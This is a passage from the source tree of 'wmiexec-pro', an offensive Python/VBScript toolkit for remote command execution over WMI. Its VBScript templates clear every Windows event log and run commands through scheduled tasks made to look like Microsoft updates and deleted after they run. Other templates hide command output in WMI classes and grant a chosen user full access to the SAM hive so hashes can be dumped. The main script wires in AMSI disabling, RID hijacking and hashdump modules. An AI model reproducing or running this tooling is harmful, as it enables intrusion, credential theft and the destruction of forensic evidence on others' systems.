128 | self.logger.info(f"Whole the services info are dumped to {save_FileName}")
129 | iEnumWbemClassObject.RemRelease()
130 | # Todo: modify moudles
--------------------------------------------------------------------------------
/lib/modules/winrm.py:
--------------------------------------------------------------------------------
1 | import logging
2 |
3 | from lib.modules.service_mgr import Service_Toolkit
4 | from lib.modules.firewall import Firewall_Toolkit
5 |
6 |
7 | class WINRM_Toolkit():
8 | def __init__(self, iWbemLevel1Login, dcom):
9 | self.logger = logging.getLogger("wmiexec-pro")
10 | self.iWbemLevel1Login = iWbemLevel1Login
11 | self.dcom = dcom
12 |
13 | def WINRM_Wrapper(self, flag):
14 | executer_Service = Service_Toolkit(self.iWbemLevel1Login, self.dcom)
15 | if flag == "enable":
16 | executer_Service.control_Service(action="start", serviceName="WINRM")
17 | self.configure_Firewall(flag)
18 | self.logger.log(100, "Enabled WINRM service and configure firewall.")
19 | else:
20 | executer_Service.control_Service(action="stop", serviceName="WINRM")
21 | self.configure_Firewall(flag)
22 | self.logger.log(100, "Disabled WINRM service and configure firewall.")
23 |
24 | def configure_Firewall(self,flag):
25 | winrm_Firewall = Firewall_Toolkit(self.iWbemLevel1Login)
26 | self.logger.info("Configuring winrm firewall...")
27 | id_List = ["WINRM-HTTP-In-TCP", "WINRM-HTTP-In-TCP-PUBLIC"]
28 | for i in id_List:
29 | winrm_Firewall.rule_Controller(i,flag)
--------------------------------------------------------------------------------
/lib/vbscripts/ClearEventlog.vbs:
--------------------------------------------------------------------------------
1 | Set LogFileSet = GetObject("winmgmts:{(Backup,Security)}").ExecQuery("select * from Win32_NTEventLogFile")
2 |
3 | for each Logfile in LogFileSet
4 | RetVal = LogFile.ClearEventlog()
5 | next
--------------------------------------------------------------------------------
/lib/vbscripts/CreateClass.vbs:
--------------------------------------------------------------------------------
1 | wbemCimtypeString = 8
2 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
3 | Set objClass = objSWbemService.Get()
4 | objClass.Path_.Class = "REPLACE_WITH_CLASSNAME"
5 |
6 | ' Add a property
7 | ' String property
8 | objClass.Properties_.add "CreationClassName", wbemCimtypeString
9 | objClass.Properties_.add "DebugOptions", wbemCimtypeString
10 |
11 | ' Make the property a key property
12 | objClass.Properties_("CreationClassName").Qualifiers_.add "key", true
13 | objClass.Properties_("DebugOptions").Qualifiers_.add "read", true
14 |
15 | ' Write the new class to the root\default namespace in the repository
16 | Set objClassPath = objClass.Put_
17 |
18 | 'Create an instance of the new class using SWbemObject.SpawnInstance
19 | Set objNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME").Spawninstance_
20 | objNewInst.CreationClassName = "Backup"
21 | objNewInst.DebugOptions = "For windows backup services"
22 |
23 | ' Write the instance into the repository
24 | Set objInstancePath = objNewInst.Put_
25 | 'WScript.Echo objInstancePath.Path
26 |
--------------------------------------------------------------------------------
/lib/vbscripts/Exec-Command-Silent-UnderNT6-II.vbs:
--------------------------------------------------------------------------------
1 | Dim time_zone
2 | Dim exec_time
3 |
4 | outputFile="REPLACE_WITH_DEST"
5 | Const data="REPLACE_WITH_DATA"
6 |
7 | B64toBinary data, outputFile
8 | AddJobWithRes
9 |
10 | Function GetTime()
11 | wbemCimtypeString = 8
12 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
13 | Set colItems = objSWbemService.ExecQuery("SELECT * FROM Win32_TimeZone", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly )
14 | For Each objItem In colItems
15 | time_zone = objItem.Bias
16 | if time_zone > 0 Then
17 | time_zone = "+" & time_zone
18 | End IF
19 | Next
20 |
21 | ' Delay one minute
22 | Dim tmp_time
23 | tmp_time = DateAdd("n",1,Now())
24 | exec_time = hour(tmp_time)*100 + minute(tmp_time)
25 | End Function
26 |
27 | Function AddJobWithRes()
28 | GetTime()
29 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
30 | exec_time = "********"&exec_time&"00.000000"&time_zone
31 | command = "c:\windows\system32\cmd.exe /Q /c REPLACE_WITH_COMMAND"
32 | Set objNewJob = objSWbemService.Get("Win32_ScheduledJob")
33 | errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId)
34 | End Function
35 |
36 | Function B64toBinary(data, outputFile)
37 | Set oXML = CreateObject("Msxml2.DOMDocument")
38 | Set oNode = oXML.CreateElement("base64")
39 | oNode.dataType = "bin.base64"
40 | oNode.text = data
41 | ' oNode.text = contents
42 |
43 | Set BinaryStream = CreateObject("ADODB.Stream")
44 | BinaryStream.Type = 1 'adTypeBinary
45 | BinaryStream.Open
46 | BinaryStream.Write oNode.nodeTypedValue
47 | BinaryStream.SaveToFile outputFile
48 | End Function
--------------------------------------------------------------------------------
/lib/vbscripts/Exec-Command-Silent-UnderNT6.vbs:
--------------------------------------------------------------------------------
1 | Dim time_zone
2 | Dim exec_time
3 | Dim command
4 | command = "c:\windows\system32\cmd.exe /Q /c "& Base64StringDecode("REPLACE_WITH_COMMAND")
5 |
6 | AddJobWithRes
7 |
8 | Function GetTime()
9 | wbemCimtypeString = 8
10 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
11 | Set colItems = objSWbemService.ExecQuery("SELECT * FROM Win32_TimeZone", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly )
12 | For Each objItem In colItems
13 | time_zone = objItem.Bias
14 | if time_zone > 0 Then
15 | time_zone = "+" & time_zone
16 | End IF
17 | Next
18 |
19 | ' Delay one minute
20 | Dim tmp_time
21 | tmp_time = DateAdd("n",1,Now())
22 | exec_time = hour(tmp_time)*100 + minute(tmp_time)
23 | End Function
24 |
25 | Function AddJobWithRes()
26 | GetTime()
27 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
28 | exec_time = "********"&exec_time&"00.000000"&time_zone
29 | Set objNewJob = objSWbemService.Get("Win32_ScheduledJob")
30 | errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId)
31 | End Function
32 |
33 | Function Base64StringDecode(ByVal vCode)
34 | Set oXML = CreateObject("Msxml2.DOMDocument")
35 | Set oNode = oXML.CreateElement("base64")
36 | oNode.dataType = "bin.base64"
37 | oNode.text = vCode
38 | Set BinaryStream = CreateObject("ADODB.Stream")
39 | BinaryStream.Type = 1
40 | BinaryStream.Open
41 | BinaryStream.Write oNode.nodeTypedValue
42 | BinaryStream.Position = 0
43 | BinaryStream.Type = 2
44 | ' All Format => utf-16le - utf-8 - utf-16le
45 | BinaryStream.CharSet = "utf-8"
46 | Base64StringDecode = BinaryStream.ReadText
47 | Set BinaryStream = Nothing
48 | Set oNode = Nothing
49 | End Function
50 |
--------------------------------------------------------------------------------
/lib/vbscripts/Exec-Command-Silent.vbs:
--------------------------------------------------------------------------------
1 | ' From wmihacker
2 | Dim command
3 | command = Base64StringDecode("REPLACE_WITH_COMMAND")
4 |
5 | Const TriggerTypeDaily = 1
6 | Const ActionTypeExec = 0
7 | Set service = CreateObject("Schedule.Service")
8 | Call service.Connect
9 | Dim rootFolder
10 | Set rootFolder = service.GetFolder("\")
11 | Dim taskDefinition
12 | Set taskDefinition = service.NewTask(0)
13 | Dim regInfo
14 | Set regInfo = taskDefinition.RegistrationInfo
15 | regInfo.Description = "Update"
16 | regInfo.Author = "Microsoft"
17 | Dim settings
18 | Set settings = taskDefinition.settings
19 | settings.Enabled = True
20 | settings.StartWhenAvailable = True
21 | settings.Hidden = False
22 | settings.DisallowStartIfOnBatteries = False
23 | Dim triggers
24 | Set triggers = taskDefinition.triggers
25 | Dim trigger
26 | Set trigger = triggers.Create(7)
27 | Dim Action
28 | Set Action = taskDefinition.Actions.Create(ActionTypeExec)
29 | Action.Path = "c:\windows\system32\cmd.exe"
30 | Action.arguments = "/Q /c " & command
31 | Dim objNet, LoginUser
32 | Set objNet = CreateObject("WScript.Network")
33 | LoginUser = objNet.UserName
34 | If UCase(LoginUser) = "SYSTEM" Then
35 | Else
36 | LoginUser = Empty
37 | End If
38 | Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3)
39 | Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0)
40 |
41 | Function Base64StringDecode(ByVal vCode)
42 | Set oXML = CreateObject("Msxml2.DOMDocument")
43 | Set oNode = oXML.CreateElement("base64")
44 | oNode.dataType = "bin.base64"
45 | oNode.text = vCode
46 | Set BinaryStream = CreateObject("ADODB.Stream")
47 | BinaryStream.Type = 1
48 | BinaryStream.Open
49 | BinaryStream.Write oNode.nodeTypedValue
50 | BinaryStream.Position = 0
51 | BinaryStream.Type = 2
52 | ' All Format => utf-16le - utf-8 - utf-16le
53 | BinaryStream.CharSet = "utf-8"
54 | Base64StringDecode = BinaryStream.ReadText
55 | Set BinaryStream = Nothing
56 | Set oNode = Nothing
57 | End Function
58 |
--------------------------------------------------------------------------------
/lib/vbscripts/Exec-Command-WithOutput-Shell.vbs:
--------------------------------------------------------------------------------
1 | Dim command
2 | Dim cwd
3 | command = Base64StringDecode("REPLACE_WITH_COMMAND")
4 | cwd = Base64StringDecode("REPLACE_WITH_CWD")
5 |
6 | If FileExists("C:\Windows\Temp\REPLACE_WITH_FILENAME") Then
7 | inputFile = "C:\Windows\Temp\REPLACE_WITH_FILENAME"
8 | Set inStream = CreateObject("ADODB.Stream")
9 | inStream.Open
10 | inStream.type= 1 'TypeBinary
11 | inStream.LoadFromFile(inputFile)
12 | readBytes = inStream.Read()
13 |
14 | Set oXML = CreateObject("Msxml2.DOMDocument")
15 | Set oNode = oXML.CreateElement("base64")
16 | oNode.dataType = "bin.base64"
17 | oNode.nodeTypedValue = readBytes
18 | Base64Encode = oNode.text
19 |
20 | On Error Resume Next
21 | Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""")
22 | If Err.Number <> 0 Then
23 | Err.Clear
24 | wbemCimtypeString = 8
25 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME")
26 | Set objInstance = objClass.spawninstance_
27 | objInstance.CreationClassName = "RELEACE_WITH_UUID"
28 | objInstance.DebugOptions = Base64Encode
29 | objInstance.put_
30 | Else
31 | End If
32 | Else
33 | Const TriggerTypeDaily = 1
34 | Const ActionTypeExec = 0
35 | Set service = CreateObject("Schedule.Service")
36 | Call service.Connect
37 | Dim rootFolder
38 | Set rootFolder = service.GetFolder("\")
39 | Dim taskDefinition
40 | Set taskDefinition = service.NewTask(0)
41 | Dim regInfo
42 | Set regInfo = taskDefinition.RegistrationInfo
43 | regInfo.Description = "Update"
44 | regInfo.Author = "Microsoft"
45 | Dim settings
46 | Set settings = taskDefinition.settings
47 | settings.Enabled = True
48 | settings.StartWhenAvailable = True
49 | settings.Hidden = False
50 | settings.DisallowStartIfOnBatteries = False
51 | Dim triggers
52 | Set triggers = taskDefinition.triggers
53 | Dim trigger
54 | Set trigger = triggers.Create(7)
55 | Dim Action
56 | Set Action = taskDefinition.Actions.Create(ActionTypeExec)
57 | Action.Path = "c:\windows\system32\cmd.exe"
58 | Action.arguments = "/Q /c c^d /d " & cwd & " & e^c^h^o [COMMAND] > C:\Windows\Temp\REPLACE_WITH_FILENAME & " & command & " 1>> C:\Windows\Temp\REPLACE_WITH_FILENAME 2>&1 & e^c^h^o [PATH] >> C:\Windows\Temp\REPLACE_WITH_FILENAME & c^d >> C:\Windows\Temp\REPLACE_WITH_FILENAME"
59 | Dim objNet, LoginUser
60 | Set objNet = CreateObject("WScript.Network")
61 | LoginUser = objNet.UserName
62 | If UCase(LoginUser) = "SYSTEM" Then
63 | Else
64 | LoginUser = Empty
65 | End If
66 | Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3)
67 | Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0)
68 | End If
69 |
70 | Function FileExists(FilePath)
71 | Set fso = CreateObject("Scripting.FileSystemObject")
72 | If fso.FileExists(FilePath) Then
73 | FileExists=CBool(1)
74 | Else
75 | FileExists=CBool(0)
76 | End If
77 | End Function
78 |
79 | Function Base64StringDecode(ByVal vCode)
80 | Set oXML = CreateObject("Msxml2.DOMDocument")
81 | Set oNode = oXML.CreateElement("base64")
82 | oNode.dataType = "bin.base64"
83 | oNode.text = vCode
84 | Set BinaryStream = CreateObject("ADODB.Stream")
85 | BinaryStream.Type = 1
86 | BinaryStream.Open
87 | BinaryStream.Write oNode.nodeTypedValue
88 | BinaryStream.Position = 0
89 | BinaryStream.Type = 2
90 | ' All Format => utf-16le - utf-8 - utf-16le
91 | BinaryStream.CharSet = "utf-8"
92 | Base64StringDecode = BinaryStream.ReadText
93 | Set BinaryStream = Nothing
94 | Set oNode = Nothing
95 | End Function
96 |
--------------------------------------------------------------------------------
/lib/vbscripts/Exec-Command-WithOutput-UnderNT6.vbs:
--------------------------------------------------------------------------------
1 | Dim time_zone
2 | Dim exec_time
3 | Dim results_save
4 | Dim command
5 | results_save = "C:\Windows\Temp\REPLACE_WITH_FILENAME"
6 | command = "c:\windows\system32\cmd.exe /Q /c "& Base64StringDecode("REPLACE_WITH_COMMAND") &" 1> " & results_save & " 2>&1"
7 |
8 | ' Avoid execute command duplicated
9 | If FileExists(results_save) Then
10 | Set inStream = CreateObject("ADODB.Stream")
11 | inStream.Open
12 | inStream.type= 1 'TypeBinary
13 | inStream.LoadFromFile(results_save)
14 | readBytes = inStream.Read()
15 |
16 | Set oXML = CreateObject("Msxml2.DOMDocument")
17 | Set oNode = oXML.CreateElement("base64")
18 | oNode.dataType = "bin.base64"
19 | oNode.nodeTypedValue = readBytes
20 | Base64Encode = oNode.text
21 |
22 | On Error Resume Next
23 | Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""")
24 | If Err.Number <> 0 Then
25 | Err.Clear
26 | wbemCimtypeString = 8
27 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME")
28 | Set objInstance = objClass.spawninstance_
29 | objInstance.CreationClassName = "RELEACE_WITH_UUID"
30 | objInstance.DebugOptions = Base64Encode
31 | objInstance.put_
32 | Else
33 | End If
34 | Else
35 | AddJobWithRes
36 | End If
37 |
38 | Function FileExists(FilePath)
39 | Set fso = CreateObject("Scripting.FileSystemObject")
40 | If fso.FileExists(FilePath) Then
41 | FileExists=CBool(1)
42 | Else
43 | FileExists=CBool(0)
44 | End If
45 | End Function
46 |
47 | Function GetTime()
48 | wbemCimtypeString = 8
49 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
50 | Set colItems = objSWbemService.ExecQuery("SELECT * FROM Win32_TimeZone", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly )
51 | For Each objItem In colItems
52 | time_zone = objItem.Bias
53 | if time_zone > 0 Then
54 | time_zone = "+" & time_zone
55 | End IF
56 | Next
57 |
58 | ' Delay one minute
59 | Dim tmp_time
60 | tmp_time = DateAdd("n",1,Now())
61 | exec_time = hour(tmp_time)*100 + minute(tmp_time)
62 | End Function
63 |
64 | Function AddJobWithRes()
65 | GetTime()
66 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
67 | exec_time = "********"&exec_time&"00.000000"&time_zone
68 | Set objNewJob = objSWbemService.Get("Win32_ScheduledJob")
69 | errJobCreated = objNewJob.Create(command, exec_time, True , , , True, JobId)
70 | If errJobCreated <> 0 Then
71 | wbemCimtypeString = 8
72 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME")
73 | Set objInstance = objClass.spawninstance_
74 | objInstance.CreationClassName = "RELEACE_WITH_UUID"
75 | ' "Create job error"
76 | objInstance.DebugOptions = "Q3JlYXRlIGpvYiBlcnJvcg=="
77 | objInstance.put_
78 | Else
79 | End If
80 | Dim done
81 | done = false
82 | Do Until done
83 | Wscript.Sleep 2000
84 | If FileExists(results_save) Then
85 | done = true
86 | End If
87 | loop
88 | End Function
89 |
90 | Function Base64StringDecode(ByVal vCode)
91 | Set oXML = CreateObject("Msxml2.DOMDocument")
92 | Set oNode = oXML.CreateElement("base64")
93 | oNode.dataType = "bin.base64"
94 | oNode.text = vCode
95 | Set BinaryStream = CreateObject("ADODB.Stream")
96 | BinaryStream.Type = 1
97 | BinaryStream.Open
98 | BinaryStream.Write oNode.nodeTypedValue
99 | BinaryStream.Position = 0
100 | BinaryStream.Type = 2
101 | ' All Format => utf-16le - utf-8 - utf-16le
102 | BinaryStream.CharSet = "utf-8"
103 | Base64StringDecode = BinaryStream.ReadText
104 | Set BinaryStream = Nothing
105 | Set oNode = Nothing
106 | End Function
107 |
--------------------------------------------------------------------------------
/lib/vbscripts/Exec-Command-WithOutput.vbs:
--------------------------------------------------------------------------------
1 | Dim command
2 | command = Base64StringDecode("REPLACE_WITH_COMMAND")
3 |
4 | If FileExists("C:\Windows\Temp\REPLACE_WITH_FILENAME") Then
5 | inputFile = "C:\Windows\Temp\REPLACE_WITH_FILENAME"
6 | Set inStream = CreateObject("ADODB.Stream")
7 | inStream.Open
8 | inStream.type= 1 'TypeBinary
9 | inStream.LoadFromFile(inputFile)
10 | readBytes = inStream.Read()
11 |
12 | Set oXML = CreateObject("Msxml2.DOMDocument")
13 | Set oNode = oXML.CreateElement("base64")
14 | oNode.dataType = "bin.base64"
15 | oNode.nodeTypedValue = readBytes
16 | Base64Encode = oNode.text
17 |
18 | On Error Resume Next
19 | Set objTestNewInst = GetObject("Winmgmts:root\Cimv2:REPLACE_WITH_CLASSNAME.CreationClassName=""RELEACE_WITH_UUID""")
20 | If Err.Number <> 0 Then
21 | Err.Clear
22 | wbemCimtypeString = 8
23 | Set objClass = GetObject("Winmgmts:root\cimv2:REPLACE_WITH_CLASSNAME")
24 | Set objInstance = objClass.spawninstance_
25 | objInstance.CreationClassName = "RELEACE_WITH_UUID"
26 | objInstance.DebugOptions = Base64Encode
27 | objInstance.put_
28 | Else
29 | End If
30 | Else
31 | Const TriggerTypeDaily = 1
32 | Const ActionTypeExec = 0
33 | Set service = CreateObject("Schedule.Service")
34 | Call service.Connect
35 | Dim rootFolder
36 | Set rootFolder = service.GetFolder("\")
37 | Dim taskDefinition
38 | Set taskDefinition = service.NewTask(0)
39 | Dim regInfo
40 | Set regInfo = taskDefinition.RegistrationInfo
41 | regInfo.Description = "Update"
42 | regInfo.Author = "Microsoft"
43 | Dim settings
44 | Set settings = taskDefinition.settings
45 | settings.Enabled = True
46 | settings.StartWhenAvailable = True
47 | settings.Hidden = False
48 | settings.DisallowStartIfOnBatteries = False
49 | Dim triggers
50 | Set triggers = taskDefinition.triggers
51 | Dim trigger
52 | Set trigger = triggers.Create(7)
53 | Dim Action
54 | Set Action = taskDefinition.Actions.Create(ActionTypeExec)
55 | Action.Path = "c:\windows\system32\cmd.exe"
56 | Action.arguments = "/Q /c " & command & " 1> C:\Windows\Temp\REPLACE_WITH_FILENAME 2>&1"
57 | Dim objNet, LoginUser
58 | Set objNet = CreateObject("WScript.Network")
59 | LoginUser = objNet.UserName
60 | If UCase(LoginUser) = "SYSTEM" Then
61 | Else
62 | LoginUser = Empty
63 | End If
64 | Call rootFolder.RegisterTaskDefinition("REPLACE_WITH_TASK", taskDefinition, 6, LoginUser, , 3)
65 | Call rootFolder.DeleteTask("REPLACE_WITH_TASK",0)
66 | End If
67 |
68 | Function FileExists(FilePath)
69 | Set fso = CreateObject("Scripting.FileSystemObject")
70 | If fso.FileExists(FilePath) Then
71 | FileExists=CBool(1)
72 | Else
73 | FileExists=CBool(0)
74 | End If
75 | End Function
76 |
77 | Function Base64StringDecode(ByVal vCode)
78 | Set oXML = CreateObject("Msxml2.DOMDocument")
79 | Set oNode = oXML.CreateElement("base64")
80 | oNode.dataType = "bin.base64"
81 | oNode.text = vCode
82 | Set BinaryStream = CreateObject("ADODB.Stream")
83 | BinaryStream.Type = 1
84 | BinaryStream.Open
85 | BinaryStream.Write oNode.nodeTypedValue
86 | BinaryStream.Position = 0
87 | BinaryStream.Type = 2
88 | ' All Format => utf-16le - utf-8 - utf-16le
89 | BinaryStream.CharSet = "utf-8"
90 | Base64StringDecode = BinaryStream.ReadText
91 | Set BinaryStream = Nothing
92 | Set oNode = Nothing
93 | End Function
94 |
--------------------------------------------------------------------------------
/lib/vbscripts/GrantSamAccessPermission.vbs:
--------------------------------------------------------------------------------
1 | strUser = "REPLACE_WITH_USER"
2 | Set objWMIService = GetObject("winmgmts:\\.\root\Cimv2")
3 | Set colUsers = objWMIService.ExecQuery("SELECT * FROM Win32_Account WHERE Name='"&strUser&"'")
4 | If colUsers.count<>0 Then
5 | For Each objUser In colUsers
6 | strSID = objUser.SID
7 | Next
8 | Else
9 | End If
10 |
11 | Set objSID = objWMIService.Get("Win32_SID.SID='"&strSID&"'")
12 |
13 | Set objTrustee = objWMIService.Get("Win32_Trustee").SpawnInstance_()
14 | objTrustee.Domain = objSID.ReferencedDomainName
15 | objTrustee.Name = objSID.AccountName
16 | objTrustee.SID = objSID.BinaryRepresentation
17 | objTrustee.SidLength = objSID.SidLength
18 | objTrustee.SIDString = objSID.Sid
19 |
20 | Set objNewACE = objWMIService.Get("Win32_ACE").SpawnInstance_()
21 | objNewACE.AccessMask = 983103
22 | objNewACE.AceType = 0
23 | objNewACE.AceFlags = 2
24 | objNewACE.Trustee = objTrustee
25 |
26 | Const HKLM = &H80000002
27 | strKeyPath = "SAM\SAM"
28 | Set oReg = GetObject("Winmgmts:\root\default:StdRegProv")
29 | RetVal = oReg.GetSecurityDescriptor(HKLM,strKeyPath,wmiSecurityDescriptor)
30 | DACL = wmiSecurityDescriptor.DACL
31 | ReDim objNewDacl(0)
32 | Set objNewDacl(0) = objNewACE
33 | For each objACE in DACL
34 | Ubd = UBound(objNewDacl)
35 | ReDim preserve objNewDacl(Ubd+1)
36 | Set objNewDacl(Ubd+1) = objACE
37 | Next
38 | wmiSecurityDescriptor.DACL = objNewDacl
39 | RetVal = oReg.SetSecurityDescriptor(HKLM,strKeyPath,wmiSecurityDescriptor)
40 | wscript.echo RetVal
--------------------------------------------------------------------------------
/lib/vbscripts/LocalFileIntoClass.vbs:
--------------------------------------------------------------------------------
1 | Dim inputFile
2 | inputFile = Base64Decode("REPLACE_WITH_TARGET_FILE")
3 |
4 | Set objStream = CreateObject("ADODB.Stream")
5 | objStream.Type = 1 'Binary
6 | objStream.Open
7 | objStream.LoadFromFile inputFile
8 | data = objStream.Read
9 |
10 | Set oXML = CreateObject("Msxml2.DOMDocument")
11 | Set oNode = oXML.CreateElement("base64")
12 | oNode.dataType = "bin.base64"
13 | oNode.nodeTypedValue = data
14 | Base64Encode = oNode.text
15 |
16 | wbemCimtypeString = 8
17 | Set objSWbemService = GetObject("Winmgmts:root\cimv2")
18 | Set objClass = objSWbemService.Get("REPLACE_WITH_CLASSNAME")
19 |
20 | Set objInstance = objClass.spawninstance_
21 | objInstance.CreationClassName = "RELEACE_WITH_UUID"
22 | objInstance.DebugOptions = Base64Encode
23 | objInstance.put_
24 |
25 | Function Base64Decode(ByVal vCode)
26 | Set oNode = CreateObject("Msxml2.DOMDocument").CreateElement("base64")
27 | oNode.dataType = "bin.base64"
28 | oNode.text = vCode
29 | Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
30 | Set oNode = Nothing
31 | End Function
32 |
33 | Function Stream_BinaryToString(Binary)
34 | Set BinaryStream = CreateObject("ADODB.Stream")
35 | BinaryStream.Type = 1
36 | BinaryStream.Open
37 | BinaryStream.Write Binary
38 | BinaryStream.Position = 0
39 | BinaryStream.Type = 2
40 | ' All Format => utf-16le - utf-8 - utf-16le
41 | BinaryStream.CharSet = "utf-8"
42 | Stream_BinaryToString = BinaryStream.ReadText
43 | Set BinaryStream = Nothing
44 | End Function
--------------------------------------------------------------------------------
/lib/vbscripts/RemoveTempFile.vbs:
--------------------------------------------------------------------------------
1 | Set TempFileSet = GetObject("winmgmts:\\.\ROOT\cimv2").ExecQuery("Select * from CIM_DataFile Where Path = ""\\Windows\\Temp\\"" And Extension = ""log"" And FileName Like ""windows-object%""")
2 |
3 | for each Tempfile in TempFileSet
4 | Tempfile.Delete()
5 | next
--------------------------------------------------------------------------------
/lib/vbscripts/WriteFile.vbs:
--------------------------------------------------------------------------------
1 | Function Base64Decode(ByVal vCode)
2 | Set oNode = CreateObject("Msxml2.DOMDocument.3.0").CreateElement("base64")
3 | oNode.dataType = "bin.base64"
4 | oNode.text = vCode
5 | Base64Decode = Stream_BinaryToString(oNode.nodeTypedValue)
6 | Set oNode = Nothing
7 | End Function
8 |
9 | Function Stream_BinaryToString(Binary)
10 | Set BinaryStream = CreateObject("ADODB.Stream")
11 | BinaryStream.Type = 1
12 | BinaryStream.Open
13 | BinaryStream.Write Binary
14 | BinaryStream.Position = 0
15 | BinaryStream.Type = 2
16 | ' All Format => utf-16le - utf-8 - utf-16le
17 | BinaryStream.CharSet = "utf-8"
18 | Stream_BinaryToString = BinaryStream.ReadText
19 | Set BinaryStream = Nothing
20 | End Function
21 |
22 | Dim xmldoc, node, bytes
23 | Set xmldoc = CreateObject("Msxml2.DOMDocument")
24 | Set node = xmldoc.CreateElement("binary")
25 | node.DataType = "bin.base64"
26 | node.Text = "REPLACE_WITH_DATA"
27 | bytes = node.NodeTypedValue
28 | FilePath = Base64Decode("REPLACE_WITH_DEST")
29 | Set objStream = CreateObject("ADODB.Stream")
30 | objStream.Type = 1 'Binary
31 | objStream.Open
32 | objStream.Write bytes
33 | objStream.SaveToFile FilePath
34 | objStream.Close
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | impacket
2 | numpy
3 |
--------------------------------------------------------------------------------
/todo:
--------------------------------------------------------------------------------
1 | - Fast response in wmi query (switch to execute vbs)
2 | - More customized configuration
3 | - Wmi class derived
4 | - Hashdump shadowcopy & regsecret
5 | - Modify service
6 | - SMB takeover
--------------------------------------------------------------------------------
/wmiexec-pro.py:
--------------------------------------------------------------------------------
1 | from __future__ import division
2 | from __future__ import print_function
3 |
4 | import sys
5 | import argparse
6 | import time
7 | import logging
8 |
9 | from lib.logger import Log
10 | from lib.modules.enumrate import ENUM
11 | from lib.modules.amsi import AMSI
12 | from lib.modules.exec_command import EXEC_COMMAND, EXEC_COMMAND_SHELL
13 | from lib.modules.filetransfer import filetransfer_Toolkit
14 | from lib.modules.rdp import RDP_Toolkit
15 | from lib.modules.winrm import WINRM_Toolkit
16 | from lib.modules.firewall import Firewall_Toolkit
17 | from lib.modules.eventlog_fucker import eventlog_Toolkit
18 | from lib.modules.service_mgr import Service_Toolkit
19 | from lib.methods.executeVBS import executeVBS_Toolkit
20 | from lib.modules.rid_hijack import RID_Hijack_Toolkit
21 | from lib.modules.hashdump import Hashdump
22 |
23 | from impacket.examples.utils import parse_target
24 | from impacket import version
25 | from impacket.dcerpc.v5.dcomrt import DCOMConnection, COMVERSION
26 | from impacket.dcerpc.v5.dcom import wmi
27 | from impacket.krb5.keytab import Keytab
28 |
29 |
30 | WBEM_FLAG_CREATE_ONLY = 0x00000002
31 | OUTPUT_FILENAME = f"__{time.time()!s}"
32 |
33 | class WMIEXEC:
34 | def __init__(self, username="", password="", domain="", hashes=None, aesKey=None, doKerberos=False, kdcHost=None, remoteHost="", options=None):
35 | self.__username = username
36 | self.__password = password
37 | self.__domain = domain
38 | self.__lmhash = ""
39 | self.__nthash = ""
40 | self.__aesKey = aesKey
41 | self.__doKerberos = doKerberos
42 | self.__kdcHost = kdcHost
43 | self.__remoteHost = remoteHost
44 | self.__options = options
45 | self.__logger = logging.getLogger("wmiexec-pro")
46 |
47 | if hashes:
48 | self.__lmhash, self.__nthash = hashes.split(":")
49 |
50 | def run(self, addr):
51 | dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
52 | self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost, remoteHost=self.__remoteHost)
53 | try:
54 | iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login, wmi.IID_IWbemLevel1Login)
55 | iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
56 |
57 | if self.__options.module == "enum":
58 | executer_ENUM = ENUM(iWbemLevel1Login)
59 | if self.__options.basic:
60 | executer_ENUM.basic_Enum()
61 | elif self.__options.tasklist:
62 | executer_ENUM.tasklist()
63 |
64 | if self.__options.module == "amsi":
65 | executer_AMSI = AMSI(iWbemLevel1Login)
66 | if self.__options.enable:
67 | executer_AMSI.amsi_Wrapper("enable")
68 | if self.__options.disable:
69 | executer_AMSI.amsi_Wrapper("disable")
70 |
71 | if self.__options.module == "exec-command":
72 | if self.__options.shell:
73 | try:
74 | executer_Shell = EXEC_COMMAND_SHELL(iWbemLevel1Login, dcom, self.__options.codec, addr)
75 | executer_Shell.interval = self.__options.timeout
76 | executer_Shell.cmdloop()
77 | except (Exception, KeyboardInterrupt) as e:
78 | if logging.getLogger("wmiexec-pro").level == logging.DEBUG:
79 | import traceback
80 | traceback.print_exc()
81 | self.__logger.error(str(e))
82 | dcom.disconnect()
83 | sys.exit(1)
84 | else:
85 | executer_ExecCommand = EXEC_COMMAND(iWbemLevel1Login, self.__options.codec)
86 | executer_ExecCommand.timeout = self.__options.timeout
87 | if self.__options.command:
88 | if self.__options.silent:
89 | executer_ExecCommand.exec_command_silent(command=self.__options.command, old=self.__options.old)
90 | else:
91 | executer_ExecCommand.exec_command_WithOutput(command=self.__options.command, save_Result=self.__options.save, hostname=addr, old=self.__options.old)
92 | if self.__options.clear:
93 | executer_ExecCommand.clear()
94 |
95 | if self.__options.module == "filetransfer":
96 | executer_Transfer = filetransfer_Toolkit(iWbemLevel1Login, dcom)
97 | executer_Transfer.timeout = self.__options.timeout
